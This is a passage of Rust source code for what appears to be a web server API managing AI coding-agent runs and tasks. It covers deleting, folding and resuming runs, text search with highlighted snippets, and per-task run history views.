3275 .queue
3276 .list()
3277 .into_iter()
3278 .find(|t| t.runs.contains(&id))
3279 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3280 Ok(Json(RunDetailView::of(
3281 state,
3282 live,
3283 superseded_by,
3284 latest_attempt,
3285 task,
3286 )))
3287 })
3288 .await
3289}
3290
3291async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3300 let (id, unreadable) = {
3301 let ui = Arc::clone(&ui);
3302 blocking(move || {
3303 let id = resolve_run(&ui.runs, &id)?;
3304 match read_run(&ui.runs, &id) {
3305 Ok(state) => {
3306 let in_flight =
3307 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3308 state
3309 .ensure_can_delete(in_flight)
3310 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3311 let dir = ui.runs.join(&id);
3312 std::fs::remove_dir_all(&dir)
3313 .with_context(|| format!("remove run directory {}", dir.display()))?;
3314 Ok((id, false))
3315 }
3316 Err(_) => {
3317 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3321 return Err(ApiError::conflict(format!(
3322 "run {id} is being worked on by a live daemon right now"
3323 )));
3324 }
3325 Ok((id, true))
3326 }
3327 }
3328 })
3329 .await?
3330 };
3331 if unreadable {
3332 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3333 .await
3334 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3335 }
3336 let ui = Arc::clone(&ui);
3337 let done = id.clone();
3338 blocking(move || {
3339 ui.questions.abandon_for_run(
3342 &done,
3343 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3344 )?;
3345 Ok(())
3346 })
3347 .await?;
3348 Ok(StatusCode::NO_CONTENT)
3349}
3350
3351async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3375 let (id, state) = {
3376 let ui = Arc::clone(&ui);
3377 blocking(move || {
3378 let id = resolve_run(&ui.runs, &id)?;
3379 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3380 return Err(ApiError::conflict(format!(
3381 "run {id} is being worked on by a live daemon right now"
3382 )));
3383 }
3384 let state = read_run(&ui.runs, &id).ok();
3385 Ok((id, state))
3386 })
3387 .await?
3388 };
3389 let removed = match state {
3390 Some(mut state) => {
3391 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3392 .await
3393 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3394 if removed.is_empty() {
3399 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3400 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3401 }
3402 removed
3403 }
3404 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3405 .await
3406 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3407 };
3408 Ok(Json(FoldView {
3409 run: id,
3410 removed_count: removed.len(),
3411 removed,
3412 }))
3413}
3414
3415#[derive(Debug, Serialize)]
3417struct FoldView {
3418 run: String,
3419 removed: Vec<String>,
3421 removed_count: usize,
3422}
3423
3424#[derive(Debug, Deserialize)]
3427struct FoldMergedBody {
3428 #[serde(default)]
3429 pr_url: String,
3430}
3431
3432async fn run_fold_merged(
3452 State(ui): State<Arc<Ui>>,
3453 Path(id): Path<String>,
3454 Json(body): Json<FoldMergedBody>,
3455) -> ApiResult<Json<FoldMergedView>> {
3456 let pr_url = body.pr_url.trim().to_owned();
3457 if pr_url.is_empty() {
3458 return Err(ApiError::bad_request("pr_url is required"));
3459 }
3460 let (id, mut state) = {
3461 let ui = Arc::clone(&ui);
3462 blocking(move || {
3463 let id = resolve_run(&ui.runs, &id)?;
3464 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3465 return Err(ApiError::conflict(format!(
3466 "run {id} is being worked on by a live daemon right now"
3467 )));
3468 }
3469 let state = read_run(&ui.runs, &id)?;
3470 Ok((id, state))
3471 })
3472 .await?
3473 };
3474 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3475 .await
3476 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3477 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3478 .await
3479 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3480 Ok(Json(FoldMergedView {
3481 run: id,
3482 before: before.as_str().to_owned(),
3483 after: after.as_str().to_owned(),
3484 removed,
3485 }))
3486}
3487
3488#[derive(Debug, Serialize)]
3490struct FoldMergedView {
3491 run: String,
3492 before: String,
3494 after: String,
3496 removed: Vec<String>,
3498}
3499
3500async fn run_resume(
3520 State(ui): State<Arc<Ui>>,
3521 Path(id): Path<String>,
3522) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3523 let (id, state) = {
3524 let ui = Arc::clone(&ui);
3525 blocking(move || {
3526 let id = resolve_run(&ui.runs, &id)?;
3527 let state = read_run(&ui.runs, &id)?;
3528 Ok((id, state))
3529 })
3530 .await?
3531 };
3532 if let Some(to) = &state.released_to {
3533 return Err(ApiError::conflict(format!(
3534 "run {} can no longer be resumed: its worktree was released to run {}, which \
3535 took the branch over.",
3536 state.short(),
3537 crate::run::short_of(to)
3538 )));
3539 }
3540 if !state.status.resumable() {
3541 return Err(ApiError::conflict(format!(
3542 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3543 state.short(),
3544 status_word(state.status)
3545 )));
3546 }
3547 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3552 .into_iter()
3553 .next()
3554 {
3555 return Err(ApiError::conflict(format!(
3556 "the loop is running run {} right now; stop it first, or wait for \
3557 it to finish, before resuming a run by hand.",
3558 crate::run::short_of(&work.run)
3559 )));
3560 }
3561 let _resume = ui.begin_resume(&id)?;
3562
3563 let queued = RunSummary::of(
3566 &state,
3567 !ui.questions.open_for(&id).is_empty(),
3568 state.liveness(false),
3569 );
3570 let run = id.clone();
3571 tokio::spawn(async move {
3572 let _resume = _resume;
3573 match crate::graph::Runner::resume(&run) {
3574 Ok(mut runner) => {
3575 if let Err(e) = runner.execute().await {
3576 tracing::warn!("resume of run {run} stopped: {e:#}");
3577 }
3578 }
3579 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3582 }
3583 });
3584 Ok((StatusCode::ACCEPTED, Json(queued)))
3585}
3586
3587async fn run_report(
3588 State(ui): State<Arc<Ui>>,
3589 Path(id): Path<String>,
3590) -> ApiResult<impl IntoResponse> {
3591 let text = blocking(move || {
3592 let id = resolve_run(&ui.runs, &id)?;
3593 let state = read_run(&ui.runs, &id)?;
3597 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3598 let live = state.liveness(daemon_claims);
3599 Ok(format!(
3600 "{}{}",
3601 report::run(&state),
3602 report::active_seats(&state, live)
3603 ))
3604 })
3605 .await?;
3606 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3607}
3608
3609async fn run_report_json(
3613 State(ui): State<Arc<Ui>>,
3614 Path(id): Path<String>,
3615) -> ApiResult<Json<crate::report_view::RunReportView>> {
3616 let view = blocking(move || {
3617 let id = resolve_run(&ui.runs, &id)?;
3618 let state = read_run(&ui.runs, &id)?;
3619 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3620 Ok(crate::report_view::build(
3621 &state,
3622 state.liveness(daemon_claims),
3623 ))
3624 })
3625 .await?;
3626 Ok(Json(view))
3627}
3628
3629#[derive(Debug, Serialize)]
3635struct TaskView {
3636 #[serde(flatten)]
3637 task: Task,
3638 source_label: String,
3639 source_link: Option<SourceLink>,
3640 status_str: &'static str,
3641 instruction_md: Vec<md::Node>,
3645 waits_on: Vec<String>,
3649 stuck_roots: Vec<String>,
3652}
3653
3654impl From<Task> for TaskView {
3655 fn from(task: Task) -> Self {
3656 Self {
3657 source_label: task.source.label(),
3658 source_link: source_link(&task.source),
3659 status_str: task.status.as_str(),
3660 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3661 waits_on: Vec::new(),
3662 stuck_roots: Vec::new(),
3663 task,
3664 }
3665 }
3666}
3667
3668impl TaskView {
3669 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3670 let waits_on = inv.waits_on(&task);
3671 let stuck_roots = inv
3672 .stuck_roots(&task)
3673 .iter()
3674 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3675 .collect();
3676 Self {
3677 waits_on,
3678 stuck_roots,
3679 ..Self::from(task)
3680 }
3681 }
3682}
3683
3684#[derive(Debug, Default, Deserialize)]
3687#[serde(default)]
3688struct ReposQuery {
3689 refresh: u8,
3690}
3691
3692async fn repos_list(
3699 State(ui): State<Arc<Ui>>,
3700 Query(q): Query<ReposQuery>,
3701) -> ApiResult<Json<Vec<repos::Repo>>> {
3702 let refresh = q.refresh != 0;
3703 blocking(move || {
3704 let (cfg, _) = Config::discover(&ui.repo, None)?;
3705 Ok(Json(ui.repos_cache.list(
3706 &cfg.repos.roots,
3707 Duration::from_secs(cfg.repos.scan_ttl),
3708 refresh,
3709 )))
3710 })
3711 .await
3712}
3713
3714async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3718 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3719}
3720
3721#[derive(Debug, Deserialize)]
3723#[serde(deny_unknown_fields)]
3724struct RolesBody {
3725 revision: String,
3727 #[serde(default)]
3729 roles: std::collections::BTreeMap<String, Vec<String>>,
3730 #[serde(default)]
3734 counts: std::collections::BTreeMap<String, serde_json::Value>,
3735}
3736
3737async fn settings_put_roles(
3743 State(ui): State<Arc<Ui>>,
3744 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3745) -> ApiResult<Json<settings::SettingsView>> {
3746 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3747 blocking(move || {
3748 settings::save(
3749 &ui.repo,
3750 ui.machine_config.as_deref(),
3751 &body.revision,
3752 &body.roles,
3753 &body.counts,
3754 )
3755 .map(Json)
3756 .map_err(|e| match e {
3757 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3758 settings::SaveError::Refused(m) => ApiError {
3759 status: StatusCode::UNPROCESSABLE_ENTITY,
3760 message: m,
3761 },
3762 settings::SaveError::Internal(m) => ApiError::internal(m),
3763 })
3764 })
3765 .await
3766}
3767
3768async fn queue_list(
3769 State(ui): State<Arc<Ui>>,
3770 Query(q): Query<ListQuery>,
3771) -> ApiResult<Json<Vec<TaskView>>> {
3772 blocking(move || {
3773 let tasks = ui.queue.list();
3774 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3775 Ok(Json(
3776 tasks
3777 .into_iter()
3778 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3779 .map(|t| TaskView::with_inventory(t, &inv))
3780 .collect(),
3781 ))
3782 })
3783 .await
3784}
3785
3786const SEARCH_MAX_HITS: usize = 100;
3788const SEARCH_MAX_QUERY: usize = 200;
3790const SEARCH_MAX_TERMS: usize = 8;
3791const SNIPPET_BEFORE: usize = 50;
3793const SNIPPET_AFTER: usize = 110;
3794
3795#[derive(Debug, Deserialize)]
3797struct SearchQuery {
3798 #[serde(default)]
3799 scope: String,
3800 #[serde(default)]
3801 q: String,
3802}
3803
3804#[derive(Debug, Serialize, PartialEq, Eq)]
3807struct SnippetPart {
3808 text: String,
3809 hit: bool,
3810}
3811
3812#[derive(Debug, Serialize)]
3813struct SearchHit {
3814 id: String,
3815 field: String,
3817 snippet: Vec<SnippetPart>,
3818 #[serde(skip_serializing_if = "Option::is_none")]
3822 run: Option<RunSummary>,
3823}
3824
3825#[derive(Debug, Serialize)]
3826struct SearchView {
3827 scope: String,
3828 q: String,
3829 hits: Vec<SearchHit>,
3831 total: usize,
3833 truncated: bool,
3834 unreadable: usize,
3837}
3838
3839fn text_leaves<'a>(
3842 value: &'a serde_json::Value,
3843 field: &'a str,
3844 out: &mut Vec<(&'a str, &'a str)>,
3845) {
3846 match value {
3847 serde_json::Value::String(s) => out.push((field, s)),
3848 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3849 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3850 _ => {}
3851 }
3852}
3853
3854fn fold_char(c: char) -> char {
3857 c.to_lowercase().next().unwrap_or(c)
3858}
3859
3860fn search_terms(q: &str) -> Vec<String> {
3862 let mut terms: Vec<String> = Vec::new();
3863 for t in q.split_whitespace() {
3864 let t = t.to_lowercase();
3865 if !terms.contains(&t) {
3866 terms.push(t);
3867 }
3868 }
3869 terms
3870}
3871
3872fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3875 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3876 let mut first: Option<usize> = None;
3877 for term in terms {
3878 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3879 first = Some(first.map_or(at, |f| f.min(at)));
3880 }
3881 let (field, text) = leaves[first?];
3883 Some(SearchHit {
3884 id: String::new(),
3885 field: field.to_owned(),
3886 snippet: snippet_of(text, terms),
3887 run: None,
3888 })
3889}
3890
3891fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3894 let chars: Vec<char> = text.chars().collect();
3895 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3896 let needles: Vec<Vec<char>> = terms
3897 .iter()
3898 .map(|t| t.chars().map(fold_char).collect())
3899 .collect();
3900 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3901 let mut best: Option<(usize, usize)> = None;
3902 for n in needles.iter().filter(|n| !n.is_empty()) {
3903 if n.len() > chars.len() || to == 0 {
3907 continue;
3908 }
3909 let last = (to - 1).min(chars.len() - n.len());
3910 if from > last {
3911 continue;
3912 }
3913 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3914 && best.is_none_or(|(b, _)| i < b)
3915 {
3916 best = Some((i, i + n.len()));
3917 }
3918 }
3919 best
3920 };
3921 let Some((start, _)) = find(0, chars.len()) else {
3922 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3924 return vec![SnippetPart {
3925 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3926 hit: false,
3927 }];
3928 };
3929 let lo = start.saturating_sub(SNIPPET_BEFORE);
3930 let hi = (start + SNIPPET_AFTER).min(chars.len());
3931 let mut parts: Vec<SnippetPart> = Vec::new();
3932 let mut push = |s: &[char], hit: bool| {
3933 if s.is_empty() {
3934 return;
3935 }
3936 let text: String = s.iter().collect();
3937 match parts.last_mut() {
3938 Some(p) if p.hit == hit => p.text.push_str(&text),
3939 _ => parts.push(SnippetPart { text, hit }),
3940 }
3941 };
3942 if lo > 0 {
3943 push(&['\u{2026}'], false);
3944 }
3945 let mut at = lo;
3946 while at < hi {
3947 match find(at, hi) {
3948 Some((s, e)) => {
3949 push(&chars[at..s], false);
3950 let shown = e.min(hi);
3952 push(&chars[s..shown], true);
3953 at = shown;
3954 }
3955 None => {
3956 push(&chars[at..hi], false);
3957 at = hi;
3958 }
3959 }
3960 }
3961 if hi < chars.len() {
3962 push(&['\u{2026}'], false);
3963 }
3964 let mut prev_space = false;
3967 for p in &mut parts {
3968 let mut out = String::with_capacity(p.text.len());
3969 for c in p.text.chars() {
3970 if c.is_whitespace() {
3971 if !prev_space {
3972 out.push(' ');
3973 }
3974 prev_space = true;
3975 } else {
3976 out.push(c);
3977 prev_space = false;
3978 }
3979 }
3980 p.text = out;
3981 }
3982 parts.retain(|p| !p.text.is_empty());
3983 parts
3984}
3985
3986fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3988where
3989 I: IntoIterator<Item = (String, serde_json::Value)>,
3990{
3991 for (id, doc) in docs {
3992 let mut leaves = Vec::new();
3993 leaves.push(("id", id.as_str()));
3996 text_leaves(&doc, "", &mut leaves);
3997 if let Some(mut hit) = search_document(terms, &leaves) {
3998 view.total += 1;
3999 if view.hits.len() < SEARCH_MAX_HITS {
4000 hit.id = id;
4001 view.hits.push(hit);
4002 }
4003 }
4004 }
4005 view.truncated = view.total > view.hits.len();
4006}
4007
4008fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4015 let opener = talk
4016 .turns
4017 .iter()
4018 .find(|t| t.who == crate::talk::Who::Operator)
4019 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4020 .unwrap_or("");
4021 let title: String = if opener.chars().count() > 96 {
4022 opener.chars().take(95).chain(['\u{2026}']).collect()
4023 } else {
4024 opener.to_owned()
4025 };
4026 let turns: Vec<serde_json::Value> = talk
4027 .turns
4028 .iter()
4029 .map(|t| {
4030 let who = match t.who {
4031 crate::talk::Who::Operator => "operator",
4032 crate::talk::Who::Agent => "agent",
4033 };
4034 serde_json::json!({ who: t.body })
4035 })
4036 .collect();
4037 serde_json::json!({ "title": title, "turns": turns })
4038}
4039
4040async fn search_get(
4047 State(ui): State<Arc<Ui>>,
4048 Query(q): Query<SearchQuery>,
4049) -> ApiResult<Json<SearchView>> {
4050 let query = q.q.trim().to_owned();
4051 if query.is_empty() {
4052 return Err(ApiError::bad_request("q must not be empty"));
4053 }
4054 if query.chars().count() > SEARCH_MAX_QUERY {
4055 return Err(ApiError::bad_request(format!(
4056 "q is longer than {SEARCH_MAX_QUERY} characters"
4057 )));
4058 }
4059 let terms = search_terms(&query);
4060 if terms.len() > SEARCH_MAX_TERMS {
4061 return Err(ApiError::bad_request(format!(
4062 "q has more than {SEARCH_MAX_TERMS} terms"
4063 )));
4064 }
4065 let scope = q.scope;
4066 if scope != "runs" && scope != "tasks" && scope != "chats" {
4067 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4068 }
4069 blocking(move || {
4070 let mut view = SearchView {
4071 scope: scope.clone(),
4072 q: query,
4073 hits: Vec::new(),
4074 total: 0,
4075 truncated: false,
4076 unreadable: 0,
4077 };
4078 if scope == "runs" {
4079 let mut unreadable = 0;
4080 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4084 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4085 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4086 Some(v) => Some((id, v)),
4087 None => {
4088 unreadable += 1;
4089 None
4090 }
4091 }
4092 });
4093 search_docs(&terms, docs, &mut view);
4094 view.unreadable = unreadable;
4095 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4098 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4099 for hit in &mut view.hits {
4100 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4101 hit.run = summarize(
4102 [state],
4103 &open_runs,
4104 &claimed,
4105 &superseded,
4106 |p| probe.borrow_mut().status(p),
4107 |p| probe.borrow_mut().started_at(p),
4108 )
4109 .pop();
4110 }
4111 }
4112 } else if scope == "chats" {
4113 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4114 view.unreadable = unreadable;
4115 search_docs(
4116 &terms,
4117 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4118 &mut view,
4119 );
4120 } else {
4121 let docs = ui.queue.list().into_iter().filter_map(|t| {
4122 let mut v = serde_json::to_value(&t).ok()?;
4123 if let Some(o) = v.as_object_mut() {
4126 o.insert("filed_by".to_owned(), t.source.label().into());
4127 }
4128 Some((t.id, v))
4129 });
4130 search_docs(&terms, docs, &mut view);
4131 }
4132 Ok(Json(view))
4133 })
4134 .await
4135}
4136
4137#[derive(Debug, Serialize)]
4139struct TaskRunView {
4140 n: usize,
4142 id: String,
4143 short: String,
4144 kind: &'static str,
4146 status: Option<&'static str>,
4148 readable: bool,
4150 provisional: bool,
4152 description: String,
4154 outcome: String,
4156 created_at: Option<Timestamp>,
4157 pr: Option<String>,
4158 exit: RunExit,
4160 attempt: AttemptCost,
4162 branch: Option<String>,
4164}
4165
4166#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4168#[serde(rename_all = "snake_case")]
4169enum RunExit {
4170 Unreadable,
4171 Interrupted,
4173 Parked,
4174 QuotaStall,
4175 ResumedQuotaStall,
4179 Merged,
4180 Ready,
4181 Superseded,
4182 AlreadyInBase,
4185 Stalled,
4187 HeldWithPr,
4189 NoopHeld,
4190 Spent,
4192 InProgress,
4193}
4194
4195#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4196#[serde(rename_all = "snake_case")]
4197enum AttemptCost {
4198 Spent,
4199 Refunded,
4200 None,
4201 Unknown,
4203}
4204
4205impl RunExit {
4206 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4207 let Some(s) = s else {
4208 return Self::Unreadable;
4209 };
4210 let status = s.status;
4211 if resumed_later {
4212 Self::Interrupted
4213 } else if s.parked {
4214 Self::Parked
4215 } else if !status.done() {
4216 Self::InProgress
4217 } else if matches!(status, RunStatus::Merged) {
4218 Self::Merged
4219 } else if matches!(status, RunStatus::Ready) {
4220 Self::Ready
4221 } else if matches!(status, RunStatus::Superseded) {
4222 Self::Superseded
4223 } else if matches!(status, RunStatus::AlreadyInBase) {
4224 Self::AlreadyInBase
4225 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4226 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4227 {
4228 if resumed {
4229 Self::ResumedQuotaStall
4230 } else {
4231 Self::QuotaStall
4232 }
4233 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4234 Self::HeldWithPr
4235 } else if matches!(status, RunStatus::VerifiedNoop) {
4236 Self::NoopHeld
4237 } else if matches!(status, RunStatus::Stalled) {
4238 Self::Stalled
4239 } else {
4240 Self::Spent
4241 }
4242 }
4243
4244 fn cost(self) -> AttemptCost {
4245 match self {
4246 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4247 Self::Merged
4248 | Self::Ready
4249 | Self::Stalled
4250 | Self::HeldWithPr
4251 | Self::NoopHeld
4252 | Self::Spent => AttemptCost::Spent,
4253 Self::InProgress => AttemptCost::None,
4254 Self::AlreadyInBase => AttemptCost::Refunded,
4255 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4256 AttemptCost::Unknown
4257 }
4258 }
4259 }
4260
4261 fn edge_label(self, status: Option<&str>) -> String {
4263 match self {
4264 Self::Unreadable => "record unreadable".to_owned(),
4265 Self::Interrupted => "interrupted before the run finished".to_owned(),
4266 Self::Parked => "parked, attempt refunded".to_owned(),
4267 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4268 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4269 Self::Merged => "merged".to_owned(),
4270 Self::Ready => "ready, not merged".to_owned(),
4271 Self::Superseded => "superseded by a later attempt".to_owned(),
4272 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4273 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4274 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4275 Self::NoopHeld => "verified no-op".to_owned(),
4276 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4277 Self::InProgress => "in progress".to_owned(),
4278 }
4279 }
4280
4281 fn explains(self, end: TaskStatus) -> bool {
4284 match self {
4285 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4286 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4287 Self::Unreadable | Self::Superseded | Self::Ready => true,
4288 _ => end != TaskStatus::Done,
4289 }
4290 }
4291}
4292
4293#[derive(Debug, Serialize)]
4295struct TaskDetailView {
4296 #[serde(flatten)]
4297 task: TaskView,
4298 max_attempts: usize,
4301 history: Vec<TaskRunView>,
4302 flow: FlowView,
4303 runs_unreadable: usize,
4305 attempts_note: &'static str,
4307}
4308
4309const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4310and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4311on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4312in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4313
4314fn review_branch_of(instruction: &str) -> Option<&str> {
4317 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4318 rest.split('`').next().filter(|b| !b.is_empty())
4319}
4320
4321struct RunSlot<'a> {
4323 n: usize,
4325 resumed: bool,
4327 resumed_later: Option<usize>,
4329 prior: Option<(&'a str, RunStatus)>,
4331 last: bool,
4332}
4333
4334fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4337 let RunSlot {
4338 n,
4339 resumed,
4340 resumed_later,
4341 prior,
4342 last,
4343 } = at;
4344 let short = run::short_of(id).to_owned();
4345 let Some(s) = state else {
4346 return TaskRunView {
4347 n,
4348 id: id.to_owned(),
4349 short,
4350 kind: "unknown",
4351 status: None,
4352 readable: false,
4353 provisional: false,
4354 description:
4355 "This run's record could not be read by this build (written by a different \
4356 magi, or removed), so what kind of attempt it was is unknown."
4357 .to_owned(),
4358 outcome: String::new(),
4359 created_at: None,
4360 pr: None,
4361 exit: RunExit::Unreadable,
4362 attempt: AttemptCost::Unknown,
4363 branch: None,
4364 };
4365 };
4366 let branch = review_branch_of(&s.instruction);
4367 let kind = if resumed {
4368 "resume"
4369 } else if branch.is_some() {
4370 "review"
4371 } else if task.solo || s.candidates.len() == 1 {
4372 "solo"
4373 } else {
4374 "competition"
4375 };
4376 let mut description = match kind {
4377 "resume" => {
4378 format!("Resumed run {short}: the same run carried on instead of competing again.")
4379 }
4380 "review" => format!(
4381 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4382 branch.unwrap_or_default()
4383 ),
4384 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4385 _ => format!(
4386 "Competition: {} candidates judged blind.",
4387 s.candidates.len().max(1)
4388 ),
4389 };
4390 if !resumed && let Some((p, st)) = prior {
4391 description.push_str(&format!(
4392 " A retry: run {p} before it ended {}.",
4393 st.display_label()
4394 ));
4395 }
4396
4397 let status = s.status;
4398 let provisional = matches!(status, RunStatus::Stalled)
4399 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4400 let head = if resumed_later.is_some() {
4401 String::new()
4402 } else {
4403 match status {
4404 RunStatus::Merged => "Merged.".to_owned(),
4405 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4406 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4407 RunStatus::AlreadyInBase => {
4408 "Already in the base: this change landed under other commits, nothing was left to land."
4409 .to_owned()
4410 }
4411 RunStatus::Stalled => {
4412 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4413 .to_owned()
4414 }
4415 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4416 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4417 RunStatus::VerifiedNoop => {
4418 "Verified no-op: the candidates found nothing to change.".to_owned()
4419 }
4420 other if other.done() => format!("Ended {}.", other.display_label()),
4421 other => format!("In progress ({}).", other.display_label()),
4422 }
4423 };
4424 let why = if let Some(k) = resumed_later {
4425 let cause = if s.quota.is_empty() {
4432 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4433 } else {
4434 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4435 };
4436 format!(
4437 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4438 )
4439 } else if s.parked {
4440 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4441 .to_owned()
4442 } else if !status.done()
4443 || matches!(
4444 status,
4445 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4446 )
4447 {
4448 String::new()
4449 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4450 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4451 {
4452 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4453 .to_owned()
4454 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4455 " It left a pull request open, so the task was held for a person rather than retried."
4456 .to_owned()
4457 } else if matches!(status, RunStatus::VerifiedNoop) {
4458 " Held for a person to check the claim.".to_owned()
4459 } else if last {
4460 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4461 } else {
4462 " It spent an attempt, and the task moved on to the next run.".to_owned()
4463 };
4464 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4465 TaskRunView {
4466 n,
4467 id: id.to_owned(),
4468 short,
4469 kind,
4470 status: Some(status.as_str()),
4471 readable: true,
4472 provisional,
4473 description,
4474 outcome: format!("{head}{why}"),
4475 created_at: Some(s.created_at),
4476 pr: s.pr.as_ref().map(|p| p.url.clone()),
4477 exit,
4478 attempt: exit.cost(),
4479 branch: branch.map(str::to_owned),
4480 }
4481}
4482
4483#[derive(Debug, Serialize, PartialEq)]
4485struct FlowNode {
4486 key: String,
4488 kind: &'static str,
4490 label: String,
4491 status: Option<&'static str>,
4494 note: Option<&'static str>,
4496 run_kind: Option<&'static str>,
4497 detail: Option<String>,
4498 decided: bool,
4500 readable: bool,
4501 href: Option<String>,
4502}
4503
4504#[derive(Debug, Serialize, PartialEq)]
4505struct FlowEdge {
4506 from: String,
4507 to: String,
4508 label: String,
4509 attempt: AttemptCost,
4510}
4511
4512#[derive(Debug, Serialize, PartialEq)]
4513struct FlowView {
4514 nodes: Vec<FlowNode>,
4515 edges: Vec<FlowEdge>,
4516 attempts: usize,
